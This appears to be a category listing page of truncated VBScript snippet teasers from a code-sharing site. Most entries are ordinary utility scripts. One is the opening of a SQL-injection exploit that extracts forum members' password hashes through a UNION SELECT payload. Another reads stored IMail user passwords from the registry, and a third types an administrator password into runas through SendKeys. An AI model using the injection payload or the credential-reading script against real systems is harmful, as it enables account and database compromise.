Category：VBS
-
Time：2020-4-1
‘e=1+1/1！+1/2！+1/3！+1/4！+……+1/n！ ‘φkρ=αe Where α and K are constants, φ is the polar angle, ρ is the polar diameter, and E is the base of the natural logarithm. For the convenience of discussion, we define e as “the law of nature”. So the core of the law of nature is e, which is 2.71828 , is […]
-
Time：2020-3-31
Copy codeThe code is as follows: on error resume next const HKEY_LOCAL_MACHINE = &H80000002 strComputer = “.” Set oReg=GetObject(“winmgmts:{impersonationLevel=impersonate}!\\” &_ strComputer & “\root\default:StdRegProv”) strKeyPath = “SOFTWARE\Ipswitch\IMail\Domains” oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys For Each subkey In arrSubKeys wscript.echo “Domain: “&subkey strKeyPath2 = strKeyPath&”\”&subkey&”\Users” oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2 For Each subkey2 In arrSubKeys2 strKeyPath3=strKeyPath2&”\”&subkey2 strValueName = “Password” oReg.GetStringValue […]
-
Time：2020-3-30
Copy codeThe code is as follows: Set Shell = CreateObject(“WScript.Shell”) Shell.Run “cmd /c @runas /user:administrator CMD” WScript.Sleep 2000 Shell.SendKeys “password{ENTER}exit{ENTER}” WScript.Sleep 1000 Shell.SendKeys “@echo off&cls&net stop messenger&net start messenger&exit{ENTER}” @echo off echo dim WshShell,cmd >> %3runas.vbs echo cmd=”%SystemRoot%\system32\cmd.exe” >> %3runas.vbs echo Set WshShell=WScript.CreateObject(“WScript.Shell”) >> %3runas.vbs echo WshShell.Run cmd >> %3runas.vbs echo WScript.Sleep 500 >> %3runas.vbs […]
-
Time：2020-3-29
Copy codeThe code is as follows: dim a,b,c A = InputBox (“please enter an integer of 0-99 and do not repeat, let alone use Chinese characters and letters”)B = InputBox (“please enter an integer of 0-99 and do not repeat, let alone use Chinese characters and letters”)C = InputBox (“please enter an integer of 0-99 […]
-
Time：2020-3-28
Copy codeThe code is as follows: ‘On Error Resume Next strAgentName = “Merlin” strAgentPath = “c:\windows\msagent\chars\” & strAgentName & “.acs” ScriptComplete=0 Set objAgent = WScript.CreateObject(“Agent.Control.2″,”agent_”) objAgent.Connected = True objAgent.Characters.Load strAgentName, strAgentPath Set objCharacter = objAgent.Characters(strAgentName) objCharacter.LanguageID = &H409 ‘objcharacter. Languageid = & h804’ menu is Chinese, but Microsoft did not develop Chinese voice objCharacter.MoveTo 0, […]
-
Time：2020-3-27
Sample code Set ie = CreateObject(“InternetExplorer.Application”) ie.Navigate “//www.jb51.net” Wscript.Sleep 1000 ie.Toolbar = 0 ie.visible=False ie.Document.f1.word.value = kw If ie.Document.f1.word.value=”” Then Wscript.Quit What do I see on the Internet? How do I use Navigation toolbar visible??How can’t I find their usage on the Internet?Here are some attribute descriptions: Set ie=WScript.CreateObject(“internetexplorer.application”) Ie.menubar = 0 ‘do not display […]
-
Time：2020-3-26
Getowner.vbs usage: under the command line: getowner.vbs directory name will generate a txt.txt file in the corresponding directory, which lists the types, sizes, and owners of all files and folders in the directoryNote: the size is in MB. If it is less than 1MB, it will be displayed as 0MB, Here is the code: G […]
-
Time：2020-3-25
Are used on the command lineAntiIframe.vbs #This script is the reverse of the batch mount program, which is used to batch clean up the malicious code added to the file. Notepad can be opened to modify the pattern parameter to specify the file name to be processed. The file names are separated by | (VBS […]
-
Time：2020-3-24
Also conducive to revisionThe following is the VBS version of the exploit code of search.inc.php file Copy codeThe code is as follows: Dim strUrl,strSite,strPath,strUid showB() Set Args = Wscript.Arguments If Args.Count <> 3 Then ShowU() Else strSite=Args(0) strPath=Args(1) strUid=Args(2) End If strUrl=”action=search&searchid=22%cf’ UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=” & strUid &”/*&do=submit” Set objXML = CreateObject(“Microsoft.XMLHTTP”) objXML.Open “POST”,strSite & […]
-
Time：2020-3-23
Copy codeThe code is as follows: ‘/*========================================================================= ‘* intro is mainly used to solve the problem of setting ie security when printing with WebBrowser‘* filename add a website to a safe site. Set a safe site to prompt when opening ActiveX. Go to header and footer.vbs‘ * Author yongfa365 ‘ * Version v1.0 ‘ * […]
-
Time：2020-3-22
Copy codeThe code is as follows: ‘/*========================================================================= ‘* the intro will automatically back up the folder to a new directory named after the time. After setting, it will be added to the startup item. As soon as the machine program is started, it will automatically run, accounting for no system resources‘ * FileName AutoBackUpFolder.VBS ‘ […]
-
Time：2020-3-21
Copy codeThe code is as follows: ‘/*========================================================================= ‘* intro PHP installation script, all you need to do is to save this file and put it together with the PHP folder to be installed (do not put it under the root directory of Disk C)‘* (if the current version of php-5.2.5-win32 is other, please replace the […]
